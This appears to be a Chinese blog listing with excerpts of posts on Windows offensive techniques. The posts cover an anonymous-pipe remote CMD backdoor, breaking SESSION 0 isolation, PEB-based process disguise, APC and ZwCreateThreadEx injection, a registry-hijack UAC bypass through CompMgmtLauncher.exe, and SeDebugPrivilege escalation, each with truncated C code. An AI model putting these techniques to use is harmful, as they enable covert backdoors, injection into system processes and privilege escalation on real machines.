匿名管道实现远程CMD命令执行后门
匿名管道实现远程CMD命令执行后门 管道分为匿名管道和命名管道。匿名管道只能在父子进程间进行通信,不能在网络间通信,而且数据 传输是单向的,只能一端写,另一端读。命名管道可以在任意进程间通信,通信是双向的,任意一端都可 读可写,但是在同一时间只能有一端读、一端写
下面代码实现执行CMD并通过匿名管道的方法获取执行结果,以实现远程CMD
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162#include<Windows.h>#include<stdio.h>BOOL PipeCmd(char *szCmd,char *szResultBuffer,DWORD dwResultBufferSize);int main(){ char szCmd[] = "ping yeanhoo.com"; char szResultBuffer[0x10000]={0 ...
socket通信_TCP
socket通信_TCPTCP面向字节流传输数据,提供可靠的数据传输服务。通过TCP传送的数据无差错、不丢失、不重复,而且按序到达。由于TCP是基于连接的,所以每一条TCP连接只能是点到点的交互通信。
服务器端初始化Winsock环境后,便调用Socket函数创建流式套接字;然后对sockaddr_in结构体进行设置,设置服务器绑定的IP地址和端口等信息并调用 bind函数来绑定;绑定成功后,就可以调用listen函数设置连接数量,并进行监听。直到有来自客户端的连接请求,服务器便调用accept函数接受连接请求,建立连接。这时,可以使用recv函数和send函数与客户端进行数据收发。通信结束后,关闭套接字,释放资源。
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798 ...
服务注册器创建服务+突破SESSION 0隔离创建用户进程
服务注册器创建服务+突破SESSION 0隔离创建用户进程病毒木马通常会把自己注入系统服务进程或是伪装成系统服务进程,并运行在SESSION 0中。处于 SESSION 0中的程序能正常执行普通程序的绝大部分操作,但是个别操作除外。例如,处于SESSION 0中 的系统服务进程,无法与普通用户进程通信,不能通过Windows消息机制进行通信,更不能创建普通的用户进程。从Windows VISTA开始,只有服务可以托管到SESSION 0中。
注册自身为服务,在session 0 中创建用户进程(全局互斥体执行一次service loader)
调用WTSGetActiveConsoleSessionId函数来获取当前程序的会话ID,即Session Id
使用DuplicateTokenEx函数创建一个新令牌,并复制上面获取的用户令牌。设置新令牌的访问 权限为MAXIMUM_ALLOWED,这表示获取所有令牌权限。
根据新令牌调用CreateEnvironmentBlock函数创建一个环境块,用来传递给CreateProcessAsUser 使用。在不需要使用进程环境块时,可以 ...
进程伪装
进程伪装修改指定进程环境块中的进程路径以及命令行信息,从而达到进程 伪装的效果。
获取进程的句柄
内联汇编获取peb
修改命令行和imagepath
12345678910111213141516171819202122232425262728293031323334353637383940414243#include<windows.h>#include<winternl.h>BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd);int main(){ wchar_t *lpwszPath = L"c:\\windows\\system32\\calc.exe"; wchar_t *lpwszCmd = L"yeanhoo's calc"; DisguiseProcess(lpwszPath, lpwszCmd); system("pause");}BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd) ...
APC注入
APC注入线程被唤醒时APC中的注册函数会被执行,因此使用QueueUserAPC向APC队列插入函数即可完成注入
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105#include <stdio.h>#include <windows.h>#include <Tlhelp32.h>BOOL ApcInject(char *,char *);DWORD GetProcessIdByProcessName(char *);BOOL GetAllThreadIdByProcessId(DWORD,PDWORD,PDWORD);void main (){ char ProcessName[ ...
ByPassUAC
ByPass UAC
白名单程序 Bypass UAC
有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序.例如, slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等.这些 白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作
利用CompMgmtLauncher.exe、该程序在启动时会查询注册表项”Software\classes\mscfile\shell\open\command”(msc后缀文件默认打开方式)、如果存在就会以管理员权限去执行该项默认程序。
1234567891011121314151617181920212223#include <stdio.h>#include <windows.h>BOOL SetReg(char *);int main(){ char *path = "c:\\windows\\system3 ...
提升进程访问令牌权限
提升进程访问令牌权限1234567891011121314151617181920212223242526272829303132333435363738394041#include<windows.h>#include<stdio.h>BOOL EnbalePrivileges(HANDLE,char*);int main(){ HANDLE hProcess = GetCurrentProcess(); char* pszPrivilegesName = "SeDebugPrivilege"; EnbalePrivileges(hProcess,pszPrivilegesName);}BOOL EnbalePrivileges(HANDLE hProcess,char* pszPrivilegesName){ HANDLE hToken = NULL; LUID luidValue = {0}; TOKEN_PRIVILEGES tokenPrivileges = {0}; BOOL bR ...
Use After Free漏洞Demo
Use After Free漏洞Demo漏洞产生的原因是释放了一块内存之后、未重置该内存的一些引用指针、导致指针悬空,被释放的内存可能被恶意利用
代码实现
12345678910111213141516171819202122#include <windows.h>#include<stdio.h>void Myrun(char*);typedef void (*myfun)(char*);int main(){ myfun* fun1 = (myfun*)malloc(0x10); fun1[1] = Myrun; free(fun1); fun1[1]((CHAR *)"+++++Free and use Fun1+++++++"); /***************释放之后由于指针未赋值为NULL、仍可使用*******************/ myfun* fun2 = (myfun*)malloc(0x10); fun2[1]((CHAR*)"+++++use Fun2+++++++"); / ...
使用WMI provider创建进程
使用WMI provider创建进程123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153#define _WIN32_DCOM#include <iostream>using namespace std;#include <comdef.h>#include <wbemidl.h>#pragma comment( ...
突破SESSION 0隔离的远线程注入
突破SESSION 0隔离的远线程注入与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于,突破SESSION 0远线程注 入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程,而具体的远线 程注入原理是相同的。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596#include<stdio.h>#include<windows.h>#include<Tlhelp32.h>#define NAME "wininit.exe"//被注入的进程#define PATH "C:\\Users\\john\\Desktop\\mydll.dll"//要注入的 ...